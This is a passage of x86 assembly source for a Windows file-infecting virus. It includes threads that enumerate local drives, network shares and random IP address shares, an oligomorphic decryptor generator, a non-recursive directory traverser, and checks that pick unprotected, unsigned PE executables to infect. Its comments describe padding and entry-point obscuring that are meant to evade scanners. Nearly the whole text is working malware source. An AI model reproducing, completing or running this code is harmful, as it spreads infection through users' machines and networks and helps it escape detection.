push (krncrcstk.kGetDriveTypeA - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
sub al, DRIVE_FIXED
je drive_set
xchg ecx, eax
loop drive_next ;loop if not DRIVE_REMOTE
drive_set label near
push esp
call cSetCurrentDirectoryA
call find_files
drive_next label near
pop eax
inc eax
cmp al, 'Z' + 1
jne drive_loop
push 10 * 60 * 1000 ;10 minutes
call cSleep
jmp find_drives
find_drives endp
create_thr1 label near
push esi
push esi
call cCreateThread
push esp
push esi
push esi
call create_thr2
;-----------------------------------------------------------------------------
;thread 2: find files on network shares using non-recursive algorithm
;-----------------------------------------------------------------------------
call get_krnapis
find_wnet proc near
xor ebx, ebx ;previous handle
xor esi, esi ;previous node
xor edi, edi ;previous buffer
wnet_open label near
push eax
push esp
push edi
push 0
push RESOURCETYPE_DISK
push RESOURCE_GLOBALNET
call dword ptr [ebp + netcrcstk.nWNetOpenEnumW - size netcrcstk]
push eax
push edi
call cGlobalFree
pop ecx
pop edi
inc ecx
loop wnet_next
push size wnetlist
push ecx ;GMEM_FIXED
call cGlobalAlloc
mov dword ptr [eax + wnetlist.wnetprev], esi
mov dword ptr [eax + wnetlist.wnethand], ebx
xchg esi, eax
mov ebx, edi
wnet_next label near
push 1
mov eax, esp
push eax
push esp
push eax
push ebx
call dword ptr [ebp + netcrcstk.nWNetEnumResourceW - size netcrcstk]
pop edi
sub al, ERROR_MORE_DATA
jne wnet_close
push edi
push eax ;GMEM_FIXED
call cGlobalAlloc
xchg ecx, eax
jecxz wnet_close
push edi
mov eax, esp
push 1
mov edx, esp
push eax
push ecx
push edx
push ebx
mov edi, ecx
call dword ptr [ebp + netcrcstk.nWNetEnumResourceW - size netcrcstk]
pop ecx
pop ecx
test eax, eax
jne wnet_free
test byte ptr [edi + NETRESOURCE.dwUsage], RESOURCEUSAGE_CONTAINER
jne wnet_open
push dword ptr [edi + NETRESOURCE.lpRemoteName]
call dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW]
xchg ecx, eax
jecxz wnet_skipdir
;I'm alone here
;with emptiness eagles and snow.
;Unfriendliness chilling my body
;and taunting with pictures of home.
;(Deep Purple)
call find_files
wnet_skipdir label near
xor eax, eax
wnet_free label near
push eax
push edi
call cGlobalFree
pop ecx
jecxz wnet_next
wnet_close label near
push ebx
store_netapi label near
mov eax, '!bgr'
call eax ;WNetCloseEnum
mov ecx, dword ptr [esi + wnetlist.wnetprev]
jecxz wnet_exit
mov ebx, dword ptr [esi + wnetlist.wnethand]
push esi
mov esi, ecx
call cGlobalFree
jmp wnet_next
wnet_exit label near
push 20 * 60 * 1000 ;20 minutes
call cSleep
jmp find_wnet
find_wnet endp
create_thr2 label near
push esi
push esi
call cCreateThread
;-----------------------------------------------------------------------------
;thread 3: find files on random IP address shares using non-recursive algorithm
;(alter class A: 25%, class b: 25%, class c: 25%, class d: scan all)
;-----------------------------------------------------------------------------
call cGetVersion
test eax, eax
mov eax, 'aten'
mov ecx, '23ip' ;"netapi32" (NT/2000/XP)
jns ip_loaddll
mov eax, 'arvs'
movzx ecx, cx ;"svrapi" (9x/Me)
ip_loaddll label near
pushfd
push esi
push ecx
push eax
push esp
call cLoadLibraryA
add esp, 0ch
popfd
jns ip_getprocnt
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
ip9xcrcbegin label near ;place < 80h bytes from call for smaller code
dd (ip9xcrc_count + 1) dup (0)
ip9xcrcend label near
dd offset ip_share - offset ip9xcrcend + 4
ip_getprocnt label near
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
ipntcrcbegin label near ;place < 80h bytes from call for smaller code
dd (ipntcrc_count + 1) dup (0)
ipntcrcend label near
dd offset ip_share - offset ipntcrcend + 4
ip_share label near
call random
xchg ebp, eax ;initial IP address
find_ip proc near
call random
and al, 18h
je find_ip ;select class A-C only
xchg ecx, eax
xor eax, eax
mov al, 0ffh
shl eax, cl ;select random class
and ecx, eax ;isolate new class
not eax
and ebx, eax ;remove old class
or ebx, ecx ;insert new class
ip_save label near
push ebx
bswap ebx
enter 34h, 0 ;size of Unicode '\\' + Unicode IP address + '\' + ANSI sharename
lea edi, dword ptr [ebp - 0eh] ;size of '\' + ANSI sharename
call cGetVersion
shr eax, 1fh ;0 if Unicode, 1 if ANSI
xchg esi, eax
xor al, al
mov cl, 0ah
std
stos byte ptr [edi]
mov edx, edi
stos byte ptr [edi] ;store Unicode sentinel
stos byte ptr [edi] ;store Unicode half-character
add edi, esi ;remove character if ANSI
;-----------------------------------------------------------------------------
;convert IP address to string (ANSI or Unicode)
;-----------------------------------------------------------------------------
ip_shift label near
xor eax, eax
shld eax, ebx, 8
ip_hex2dec label near
div cl
xchg ah, al
add al, '0'
stos byte ptr [edi]
xor al, al
stos byte ptr [edi] ;store Unicode half-character
add edi, esi ;remove character if ANSI
shr eax, 8
jne ip_hex2dec
mov al, '.'
stos byte ptr [edi]
xor al, al
stos byte ptr [edi] ;store Unicode half-character
add edi, esi ;remove character if ANSI
shl ebx, 8
jne ip_shift
cld
push edi
mov al, '\'
stos byte ptr [edi]
inc edi ;include Unicode half-character
sub edi, esi ;remove character if ANSI
stos byte ptr [edi] ;store '\\' in ANSI or Unicode
pop edi
test esi, esi
je ip_sharent
;-----------------------------------------------------------------------------
;enumerate shares on IP address (9x/Me platform)
;-----------------------------------------------------------------------------
push ebx
mov eax, esp
push ebx
push esp
push eax
push ebx ;too small size returns needed size
push ebx
push 1
push edi
mov ebx, edi
mov edi, edx
call dword ptr [esp + 44h + ip9xcrcstk.ip9xNetShareEnum + 18h]
pop ecx
pop esi
sub al, ERROR_MORE_DATA
jne ip_restore
imul esi, ecx, size share_info_19x + 50
;include size of optional remark
push esi
push eax ;GMEM_FIXED
call cGlobalAlloc
cdq
xchg ecx, eax
jecxz ip_restore
push ecx ;GlobalFree
push edx
mov eax, esp
push edx
push esp
push eax
push esi
push ecx
push 1
push ebx
mov esi, ecx
call dword ptr [esp + 48h + ip9xcrcstk.ip9xNetShareEnum + 18h]
pop ecx
pop ecx
mov al, '\'
stos byte ptr [edi]
ip_next9x label near
push ecx
push edi
movs dword ptr [edi], dword ptr [esi]
movs dword ptr [edi], dword ptr [esi]
movs dword ptr [edi], dword ptr [esi]
movs byte ptr [edi], byte ptr [esi] ;attach sharename
pop edi
push ebx
call cSetCurrentDirectoryA
xchg ecx, eax
jecxz ip_skip9x
;I dream of rain, I live my years under an open sky
call find_files
ip_skip9x label near
add esi, size share_info_19x - share_info_19x.shi1_pad1
pop ecx
loop ip_next9x
ip_free9x label near
call cGlobalFree
ip_restore label near
leave
pop ebx
inc bl
jne ip_save
push 20 * 60 * 1000 ;20 minutes
call cSleep
jmp find_ip
ip_sharent label near
;-----------------------------------------------------------------------------
;enumerate shares on IP address (NT/2000/XP platform)
;-----------------------------------------------------------------------------
push eax
mov eax, esp
push eax
mov ecx, esp
push ebx
push esp
push eax
push MAX_PREFERRED_LENGTH
push ecx
push 1
push edi
call dword ptr [esp + 44h + ipntcrcstk.ipntNetShareEnum + 1ch]
test eax, eax
pop esi
pop ebx
push esi ;NetApiBufferFree
jne ip_freent
ip_nextnt label near
push esi
lods dword ptr [esi]
push eax
xchg esi, eax
xor eax, eax ;lstrlenW
call store_krnapi
lea eax, dword ptr [eax + eax + 26h]
;include size of Unicode '\\' + Unicode IP address + Unicode '\'
push eax
push GMEM_FIXED
call cGlobalAlloc
xchg ecx, eax
jecxz ip_freent
push ecx ;GlobalFree
push ecx ;SetCurrentDirectoryW
push esi ;lstrcatW
push ecx ;lstrcatW
push '\'
push esp ;lstrcatW
push ecx ;lstrcatW
push edi
push ecx
push (krncrcstk.klstrcpyW - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi ;copy IP address
call clstrcatW ;attach '\'
pop eax
call clstrcatW ;attach sharename
push (krncrcstk.kSetCurrentDirectoryW - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
xchg esi, eax
call cGlobalFree
test esi, esi
je ip_skipnt
;when you look into the abyss, the abyss looks back at you
call find_files
ip_skipnt label near
pop esi
add esi, size share_info_1nt
dec ebx
jne ip_nextnt
ip_freent label near
call dword ptr [esp + 3ch + ipntcrcstk.ipntNetApiBufferFree + 4]
jmp ip_restore
find_ip endp
;-----------------------------------------------------------------------------
;create oligomorphic decryptor
;-----------------------------------------------------------------------------
storeebx proc near
test bh, 1 shl state_loadebx
jne storeebx_ret ;done already
mov al, 0bbh ;mov ebx
mov edx, esi
test bl, state_esifirst
jne storeebx_test ;esi first
mov dword ptr [esp + offset store_baseptr - offset efishnc_inf + 0dh], edi
jmp storeebx_now
storeebx_test label near
test bh, 1 shl state_loadesi
je storeebx_ret ;require esi first
mov al, 8dh ;lea
stos byte ptr [edi]
mov al, 9eh ;ebx
sub edx, dword ptr [esp + 4]
test bl, state_decdown
je storeebx_now
sub edx, vsize
sub edx, ecx
storeebx_now label near
inc bh ;or bh, 1 shl state_loadebx
stos byte ptr [edi]
xchg edx, eax
stos dword ptr [edi]
storeebx_ret label near
ret
storeebx endp
storeesi proc near
test bh, 1 shl state_loadesi
jne storeesi_ret ;done already
mov al, 0beh ;mov esi
mov edx, dword ptr [esp + 4]
test bl, state_esifirst
je storeesi_ebx ;ebx first
mov dword ptr [esp + offset store_baseptr - offset efishnc_inf + 0dh], edi
test bl, state_decdown
je storeesi_now
add edx, vsize
jmp storeesi_rand
storeesi_ebx label near
test bh, 1 shl state_loadebx
je storeesi_ret ;require ebx first
mov al, 8dh ;lea
stos byte ptr [edi]
mov al, 0b3h ;esi
sub edx, esi
test bl, state_decdown
je storeesi_now
add edx, vsize
storeesi_rand label near
add edx, ecx
storeesi_now label near
or bh, 1 shl state_loadesi
stos byte ptr [edi]
xchg edx, eax
stos dword ptr [edi]
storeesi_ret label near
ret
storeesi endp
storeenter proc near
bts ebx, state_entered + 8
jb storeenter_ret ;done already
mov al, 0c8h ;enter
stos byte ptr [edi]
xchg ebp, eax
stos dword ptr [edi]
dec edi ;xxxx, 00
storeenter_ret label near
ret
storeenter endp
storeedi proc near
test bh, 1 shl state_entered
je storeedi_ret ;require enter first
bts ebx, state_loadedi + 8
jb storeedi_ret ;done already
mov edx, 0effdfce7h ;ebp / esp
test bl, state_decdown
je storeedi_swap
bswap edx ;use ebp
storeedi_swap label near
call random
and al, 2
je storeedi_now
mov dl, dh ;use other encoding
storeedi_now label near
add al, 89h ;mov edi
stos byte ptr [edi]
xchg edx, eax
stos byte ptr [edi]
storeedi_ret label near
ret
storeedi endp
storestd proc near
bts ebx, state_std + 8
jb storestd_ret ;done already
test bl, state_decdown
je storestd_ret ;not needed
mov al, 0fdh ;std
stos byte ptr [edi]
storestd_ret label near
ret
storestd endp
storepushb proc near
test bh, 1 shl state_loadedi
je storepushb_ret ;require mov edi first
bts ebx, state_pushreg1 + 8
jb storepushb_ret ;done already
test bl, state_pushret or state_pushb
je storepushb_ret ;jmp esp
jpo storepushb_ret ;push at end
call random
test al, 1
mov al, 54h ;push esp
je storepushb_now
test bh, 1 shl state_loadedi
jnb storepushb_now ;requires mov edi first
mov al, 57h ;push edi
storepushb_now label near
stos byte ptr [edi]
storepushb_ret label near
ret
storepushb endp
storelods proc near
bts ebx, state_lods + 8
jb storelods_ret ;done already
mov al, 0ach ;lods byte ptr [esi]
test bl, state_movesi
je storelods_now
mov al, 8ah ;mov al, byte ptr []
stos byte ptr [edi]
mov al, 6 ;esi
storelods_now label near
stos byte ptr [edi]
storelods_ret label near
ret
storelods endp
storexlat proc near
test bh, 1 shl state_lods
je storexlat_ret ;require lods first
bts ebx, state_xlat + 8
jb storexlat_ret ;done already
mov al, 0d7h ;xlat byte ptr [ebx]
stos byte ptr [edi]
storexlat_ret label near
ret
storexlat endp
storestos proc near
test bh, 1 shl state_xlat
je storestos_ret ;require xlat first
bts ebx, state_stos + 8
jb storestos_ret ;done already
mov al, 0aah ;stos byte ptr [esi]
test bl, state_movedi
je storestos_now
mov al, 88h ;mov byte ptr [], al
stos byte ptr [edi]
mov al, 7 ;edi
storestos_now label near
stos byte ptr [edi]
storestos_ret label near
ret
storestos endp
storeincs proc near
test bh, 1 shl state_lods
je storeincs_ret ;require lods first
bts ebx, state_incesi + 8
jb storeincs_ret ;done already
test bl, state_movesi
je storeincs_ret ;not needed
mov al, 46h ;inc esi
test bl, state_decdown
je storeincs_now
mov al, 4eh ;dec esi
storeincs_now label near
stos byte ptr [edi]
storeincs_ret label near
ret
storeincs endp
storeincd proc near
test bh, 1 shl state_stos
je storeincd_ret ;require stos first
bts ebx, state_incedi + 8
jb storeincd_ret ;done already
test bl, state_movedi
je storeincd_ret ;not needed
mov al, 47h ;inc edi
test bl, state_decdown
je storeincd_now
mov al, 4fh ;dec edi
storeincd_now label near
stos byte ptr [edi]
storeincd_ret label near
ret
storeincd endp
storecmp proc near
test bh, 1 shl state_incedi
je storecmp_ret ;require inc edi first
bts ebx, state_cmp + 8
jb storecmp_ret ;done already
mov edx, 0fce7fdefh ;esp / ebp
test bl, state_decdown
je storecmp_jg
bswap edx ;use esp
storecmp_jg label near
test bl, state_jg
je storecmp_swap
xchg dl, dh
storecmp_swap label near
call random
and al, 2
je storecmp_now
mov dl, dh ;use other encoding
storecmp_now label near
add al, 39h ;cmp edi
stos byte ptr [edi]
xchg edx, eax
stos byte ptr [edi]
storecmp_ret label near
ret
storecmp endp
storejne proc near
test bh, 1 shl state_cmp
je storejne_ret ;require cmp first
bts ebx, state_branch + 8
jb storejne_ret ;done already
mov edx, 7e767c72h ;jle, jbe, jl, jb
test bl, state_jg
je storejne_swap
mov edx, 7d737f77h ;jge, jae, jg, ja
storejne_swap label near
test bl, state_decdown
je storejne_now
shld eax, edx, 10h
xchg dx, ax ;reverse must use j?e
storejne_now label near
call random
and al, 18h
xchg ecx, eax
rol edx, cl ;random branch type
xchg edx, eax
stos byte ptr [edi]
sub ebp, edi
dec ebp
xchg ebp, eax
stos byte ptr [edi]
storejne_ret label near
ret
storejne endp
storepushe proc near
test bh, 1 shl state_branch
je storepushe_ret ;require branch first
bts ebx, state_pushreg2 + 8
jb storepushe_ret ;done already
test bl, state_pushret or state_pushb
jpe storepushe_ret ;jmp esp or push at begin
mov al, 54h ;push esp
stos byte ptr [edi]
storepushe_ret label near
ret
storepushe endp
storeret proc near
test bh, bh ;test bh, 1 shl state_pushreg2
jns storeret_ret ;require push at end first
mov al, 0c3h ;ret
test bl, state_pushret
jne storeret_now
mov al, 0ffh ;jmp
stos byte ptr [edi]
mov al, 0e4h ;esp
storeret_now label near
or bl, 1 shl state_ret
stos byte ptr [edi]
storeret_ret label near
ret
storeret endp
;-----------------------------------------------------------------------------
;Mersenne Twister RNG MT19937 (c) 1997 Makoto Matsumoto and Takuji Nishimura
;period is ((2^19937)-1) with 623-dimensionally equidistributed sequence
;asm port and size optimise by rgb in 2002
;-----------------------------------------------------------------------------
randinit proc near ;eax = seed, ecx = 0, edi -> unaligned RNG cache
pushad
or edi, 3
inc edi ;dword align
push edi
or eax, 1
mov cx, statelen
init_loop label near
stos dword ptr [edi]
mov edx, 69069
mul edx ;Knuth: x_new = x_old * 69069
loop init_loop
inc ecx ;force reload
call initdelta
initdelta label near
pop edi
add edi, offset randvars - offset initdelta
xchg ecx, eax
stos dword ptr [edi]
pop eax
stos dword ptr [edi]
stos dword ptr [edi]
popad
ret
randinit endp
random proc near
pushad
call randelta
randvars label near
db 'rgb!' ;numbers left
db 'rgb!' ;next pointer
db 'rgb!' ;state pointer
randelta label near
pop esi
push esi
lods dword ptr [esi]
xchg ecx, eax
lods dword ptr [esi]
xchg esi, eax
loop random_ret
mov cx, statelen - period
mov esi, dword ptr [eax]
lea ebx, dword ptr [esi + (period * 4)]
mov edi, esi
push esi
lods dword ptr [esi]
xchg edx, eax
call twist
pop ebx
mov cx, period - 1
push ecx
push ebx
call twist
pop esi
push esi
inc ecx
call twist
xchg edx, eax
pop esi
pop ecx
inc ecx
random_ret label near
lods dword ptr [esi]
mov edx, eax
shr eax, tshiftU
xor eax, edx
mov edx, eax
shl eax, tshiftS
and eax, tmaskB
xor eax, edx
mov edx, eax
shl eax, tshiftT
and eax, tmaskC
xor eax, edx
mov edx, eax
shr eax, tshiftL
xor eax, edx
pop edi
mov dword ptr [esp + 1ch], eax ;eax in pushad
xchg ecx, eax
stos dword ptr [edi]
xchg esi, eax
stos dword ptr [edi]
popad
ret
random endp
twist proc near
lods dword ptr [esi]
push eax
add eax, eax ;remove highest bit
add edx, edx ;test highest bit
rcr eax, 2 ;merge bits and test lowest bit
jnb twist_skip ;remove branch but larger using:
xor eax, matrixA ;sbb edx, edx+and edx, matrixA+xor eax, edx
twist_skip label near
xor eax, dword ptr [ebx]
add ebx, 4
stos dword ptr [edi]
pop edx
loop twist
ret
twist endp
;-----------------------------------------------------------------------------
;non-recursive directory traverser
;-----------------------------------------------------------------------------
find_files proc near
pushad
push size findlist
push GMEM_ZEROINIT
call cGlobalAlloc
test eax, eax
je file_exit
xchg esi, eax
call get_krnapis
file_first label near
push '*' ;ANSI-compatible Unicode findmask
mov eax, esp
lea ebx, dword ptr [esi + findlist.finddata]
push ebx
push eax
call dword ptr [ebp + krncrcstk.kFindFirstFileW]
pop ecx
mov dword ptr [esi + findlist.findhand], eax
inc eax
je file_prev
;you must always step forward from where you stand
test_dirfile label near
mov eax, dword ptr [ebx + WIN32_FIND_DATA.dwFileAttributes]
lea edi, dword ptr [esi + findlist.finddata.cFileName]
test al, FILE_ATTRIBUTE_DIRECTORY
je test_file
cmp byte ptr [edi], '.' ;ignore . and .. (but also .* directories under NT/2000/XP)
je file_next
;-----------------------------------------------------------------------------
;enter subdirectory, and allocate another list node
;-----------------------------------------------------------------------------
push edi
call dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW]
xchg ecx, eax
jecxz file_next
push size findlist
push GMEM_FIXED
call cGlobalAlloc
xchg ecx, eax
jecxz step_updir
xchg esi, ecx
mov dword ptr [esi + findlist.findprev], ecx
jmp file_first
file_exit label near
popad
ret
file_next label near
lea ebx, dword ptr [esi + findlist.finddata]
push ebx
mov edi, dword ptr [esi + findlist.findhand]
push edi
call dword ptr [ebp + krncrcstk.kFindNextFileW]
test eax, eax
jne test_dirfile
;-----------------------------------------------------------------------------
;close find, and free list node
;-----------------------------------------------------------------------------
push edi
mov al, (krncrcstk.kFindClose - krncrcstk.klstrlenW) shr 2
call store_krnapi
file_prev label near
push esi
mov esi, dword ptr [esi + findlist.findprev]
call cGlobalFree
test esi, esi
je file_exit
step_updir label near
;-----------------------------------------------------------------------------
;the ANSI string ".." can be used, even on Unicode platforms
;-----------------------------------------------------------------------------
push '..'
push esp
call cSetCurrentDirectoryA
pop eax
jmp file_next
test_file label near
;-----------------------------------------------------------------------------
;get full path and convert to Unicode if required (SFC requires Unicode path)
;-----------------------------------------------------------------------------
push eax ;save original file attributes for close
mov eax, ebp
enter MAX_PATH * 2, 0
mov ecx, esp
push eax
push esp
push ecx
push MAX_PATH
push edi
call dword ptr [eax + krncrcstk.kGetFullPathNameW]
xchg edi, eax
pop eax
xor ebx, ebx
call cGetVersion
test eax, eax
jns store_sfcapi
mov ecx, esp
xchg ebp, eax
enter MAX_PATH * 2, 0
xchg ebp, eax
mov eax, esp
push MAX_PATH
push eax
inc edi
push edi
push ecx
push ebx ;use default translation
push ebx ;CP_ANSI
push (krncrcstk.kMultiByteToWideChar - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
store_sfcapi label near
;-----------------------------------------------------------------------------
;don't touch protected files
;-----------------------------------------------------------------------------
mov ecx, '!bgr' ;SfcIsFileProtected
xor eax, eax ;fake success in case of no SFC
jecxz leave_sfc
push esp
push ebx
call ecx
leave_sfc label near
leave
test eax, eax
jne restore_attr
call set_fileattr
push ebx
push ebx ;attribute ignored for existing files
push OPEN_EXISTING
push ebx
push ebx
push GENERIC_READ or GENERIC_WRITE
push edi
call dword ptr [ebp + krncrcstk.kCreateFileW]
xchg ebx, eax
call test_infect
db 81h ;mask CALL
call infect_file ;Super Nashwan power ;)
close_file label near ;label required for delta offset
lea eax, dword ptr [esi + findlist.finddata.ftLastWriteTime]
push eax
sub eax, 8
push eax
sub eax, 8
push eax
push ebx
push (krncrcstk.kSetFileTime - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
push ebx
call cCloseHandle
restore_attr label near
pop ebx ;restore original file attributes
call set_fileattr
jmp file_next
find_files endp
;-----------------------------------------------------------------------------
;look for MZ and PE file signatures
;-----------------------------------------------------------------------------
is_pehdr proc near ;edi -> map view
cmp word ptr [edi], 'ZM' ;Windows does not check 'MZ'
jne pehdr_ret
mov esi, dword ptr [edi + mzhdr.mzlfanew]
add esi, edi
lods dword ptr [esi] ;SEH protects against bad lfanew value
add eax, -'EP' ;anti-heuristic test filetype ;) and clear EAX
pehdr_ret label near
ret ;if PE file, then eax = 0, esi -> COFF header, Z flag set
is_pehdr endp
;-----------------------------------------------------------------------------
;reset/set read-only file attribute
;-----------------------------------------------------------------------------
set_fileattr proc near ;ebx = file attributes, esi -> findlist, ebp -> platform APIs
push ebx
lea edi, dword ptr [esi + findlist.finddata.cFileName]
push edi
call dword ptr [ebp + krncrcstk.kSetFileAttributesW]
ret ;edi -> filename
db "02/02/02"
set_fileattr endp
;-----------------------------------------------------------------------------
;test if file is infectable (not protected, PE, x86, non-system, not infected, etc)
;-----------------------------------------------------------------------------
test_infect proc near ;esi = find data, edi = map view, ebp -> platform APIs
call map_view
mov ebp, esi
call is_pehdr
jne inftest_ret
lods dword ptr [esi]
cmp ax, IMAGE_FILE_MACHINE_I386
jne inftest_ret ;only Intel 386+
shr eax, 0dh ;move high 16 bits into low 16 bits and multiply by 8
lea edx, dword ptr [eax * 4 + eax] ;complete multiply by 28h (size pesect)
mov eax, dword ptr [esi + pehdr.pecoff.peflags - pehdr.pecoff.petimedate]
;-----------------------------------------------------------------------------
;IMAGE_FILE_BYTES_REVERSED_* bits are rarely set correctly, so do not test them
;no .dll files this time
;-----------------------------------------------------------------------------
test ah, (IMAGE_FILE_SYSTEM or IMAGE_FILE_DLL or IMAGE_FILE_UP_SYSTEM_ONLY) shr 8
jne inftest_ret
;-----------------------------------------------------------------------------
;32-bit executable file...
;-----------------------------------------------------------------------------
and ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
cmp ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
jne inftest_ret ;cannot use xor+jpo because 0 is also jpe
;-----------------------------------------------------------------------------
;the COFF magic value is not checked because Windows ignores it anyway
;IMAGE_FILE_MACHINE_IA64 machine type is the only reliable way to detect PE32+
;-----------------------------------------------------------------------------
add esi, pehdr.pesubsys - pehdr.pecoff.petimedate
lods dword ptr [esi]
cmp ax, IMAGE_SUBSYSTEM_WINDOWS_CUI
jnbe inftest_ret
cmp al, IMAGE_SUBSYSTEM_WINDOWS_GUI ;al not ax, because ah is known now to be 0
jb inftest_ret
shr eax, 1eh ;test eax, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER shl 10h
jb inftest_ret
;-----------------------------------------------------------------------------
;avoid files which seem to contain attribute certificates
;because one of those certificates might be a digital signature
;-----------------------------------------------------------------------------
cmp dword ptr [esi + pehdr.pesecurity.dirrva - pehdr.pestackmax], 0
jne inftest_ret
;-----------------------------------------------------------------------------
;cannot use the NumberOfRvaAndSizes field to calculate the Optional Header size
;the Optional Header can be larger than the offset of the last directory
;remember: even if you have not seen it does not mean that it does not happen :)
;-----------------------------------------------------------------------------
movzx eax, word ptr [esi + pehdr.pecoff.peopthdrsize - pehdr.pestackmax]
add eax, edx
lea esi, dword ptr [esi + eax - pehdr.pestackmax + pehdr.pemagic - size pesect + pesect.sectrawsize]
lods dword ptr [esi]
add eax, dword ptr [esi]
cmp dword ptr [ebp + findlist.finddata.dwFileSizeLow], eax
jne inftest_ret ;file contains appended data
call find_epo
sbb dword ptr [esp + mapsehstk.mapsehinfret], -1
;skip call mask
inftest_ret label near
int 3
;-----------------------------------------------------------------------------
;increase file size by random value (between RANDPADMIN and RANDPADMAX bytes)
;I use GetTickCount() instead of RDTSC because RDTSC can be made privileged
;-----------------------------------------------------------------------------
open_append proc near
push (krncrcstk.kGetTickCount - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
and eax, RANDPADMAX - 1
add ax, small (grbgsize + tblsize + grbgsize + vsize + randsize + grbgsize + RANDPADMIN)
;-----------------------------------------------------------------------------
;create file map, and map view if successful
;-----------------------------------------------------------------------------
map_view proc near ;eax = extra bytes to map, ebx = file handle, esi -> findlist, ebp -> platform APIs
add eax, dword ptr [esi + findlist.finddata.dwFileSizeLow]
xor ecx, ecx
push eax
push eax ;MapViewOfFile
push ecx ;MapViewOfFile
push ecx ;MapViewOfFile
push FILE_MAP_WRITE ;Windows 9x/Me does not support FILE_MAP_ALL_ACCESS
push ecx
push eax
push ecx
push PAGE_READWRITE
push ecx
push ebx
push (krncrcstk.kCreateFileMappingA - krncrcstk.klstrlenW) shr 2
pop eax ;ANSI map is allowed because of no name
call store_krnapi
push eax
xchg edi, eax
push (krncrcstk.kMapViewOfFile - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
pop ecx
xchg edi, eax ;should succeed even if file cannot be opened
pushad
call unmap_seh
mov esp, dword ptr [esp + sehstruc.sehprevseh]
xor eax, eax
pop dword ptr fs:[eax]
pop eax
popad ;SEH destroys all registers
push eax
push edi
push (krncrcstk.kUnmapViewOfFile - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
call cCloseHandle
pop eax
ret
unmap_seh proc near
cdq
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
jmp dword ptr [esp + mapsehstk.mapsehsehret]
unmap_seh endp
map_view endp ;eax = map handle, ecx = new file size, edi = map view
open_append endp
;-----------------------------------------------------------------------------
;search first section for stack frame bytes that are large enough to hold code
;-----------------------------------------------------------------------------
find_epo proc near ;edi = map view
mov edx, edi
mov ebx, dword ptr [edi + mzhdr.mzlfanew]
lea ebx, dword ptr [ebx + edi + pehdr.pechksum]
movzx eax, word ptr [ebx + pehdr.pecoff.peopthdrsize - pehdr.pechksum]
lea esi, dword ptr [ebx + eax + pehdr.pemagic - pehdr.pechksum + pesect.sectrawsize]
lods dword ptr [esi]
sub eax, decsize
jbe epo_fail
xchg ecx, eax
lods dword ptr [esi]
add edi, eax
find_enter label near
mov al, 55h ;push ebp
repne scas byte ptr [edi]
jne epo_fail
mov eax, dword ptr [edi]
cmp ax, 0e589h ;mov ebp, esp
je find_leave
cmp ax, 0ec8bh ;mov ebp, esp
jne find_enter
find_leave label near
push ecx
push edi
mov al, 5dh ;pop ebp
repne scas byte ptr [edi]
xchg edi, eax
pop edi
pop ecx
jne find_enter
sub eax, edi
cmp eax, decsize - 1
jb find_enter
mov eax, dword ptr [edi + eax - 3]
cmp ax, 0ec89h ;mov esp, ebp
je found_leave
cmp ax, 0e58bh ;mov esp, ebp
jne find_enter
found_leave label near
dec edi
push edi
sub edi, edx
sub edi, dword ptr [esi + pesect.sectrawaddr - pesect.sectreladdr]
add edi, dword ptr [esi + pesect.sectvirtaddr - pesect.sectreladdr]
add edi, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum]
pop esi
mov al, 'r' ;mask STC
org $ - 1
epo_fail label near
stc
epo_ret label near
xchg edi, eax
ret ;eax = virtual address, esi = map offset
find_epo endp
;-----------------------------------------------------------------------------
;determine platform and dynamically select function types (ANSI or Unicode)
;-----------------------------------------------------------------------------
get_krnapis proc near ;place near to jump table for smaller code
call cGetVersion
krnapi_delta label near
shr eax, 1fh
mov ecx, dword ptr [esp - 4] ;no stack change in ring 3
mov ecx, dword ptr [ecx + offset store_krnapi - offset krnapi_delta + 3]
lea ebp, dword ptr [eax * 4 + ecx]
ret
get_krnapis endp
;-----------------------------------------------------------------------------
;indexed API jump table
;-----------------------------------------------------------------------------
clstrcatW proc near
push (krncrcstk.klstrcatW - krncrcstk.klstrlenW) shr 2
jmp call_krncrc
clstrcatW endp
cSleep proc near
push (krncrcstk.kSleep - krncrcstk.klstrlenW) shr 2
jmp call_krncrc
cSleep endp
cSetCurrentDirectoryA proc near
push (krncrcstk.kSetCurrentDirectoryA - krncrcstk.klstrlenW) shr 2
jmp call_krncrc
cSetCurrentDirectoryA endp
cLoadLibraryA proc near
push (krncrcstk.kLoadLibraryA - krncrcstk.klstrlenW) shr 2
jmp call_krncrc
cLoadLibraryA endp
cGlobalFree proc near
push (krncrcstk.kGlobalFree - krncrcstk.klstrlenW) shr 2
jmp call_krncrc
cGlobalFree endp
cGlobalAlloc proc near
push (krncrcstk.kGlobalAlloc - krncrcstk.klstrlenW) shr 2
jmp call_krncrc
cGlobalAlloc endp
cGetVersion proc near
push (krncrcstk.kGetVersion - krncrcstk.klstrlenW) shr 2
jmp call_krncrc
cGetVersion endp
cCreateThread proc near
push (krncrcstk.kCreateThread - krncrcstk.klstrlenW) shr 2
jmp call_krncrc
cCreateThread endp
cCloseHandle proc near
push (krncrcstk.kCloseHandle - krncrcstk.klstrlenW) shr 2
cCloseHandle endp
call_krncrc proc near
pop eax
store_krnapi label near
jmp dword ptr [eax * 4 + '!bgr']
call_krncrc endp
;-----------------------------------------------------------------------------
;infect file using entry point obscured way and variable encryption
;algorithm: increase file size by random amount (RANDPADMIN-RANDPADMAX
; bytes) to confuse scanners that look at end of file (also
; infection marker)
; if reloc table is not in last section (taken from relocation
; field in PE header, not section name), then append to last
; section. otherwise, move relocs down and insert code into
; space (to confuse people looking at end of file. they will
; see only relocation data and garbage or many zeroes)
; entry point is not altered. search instead for stack frame
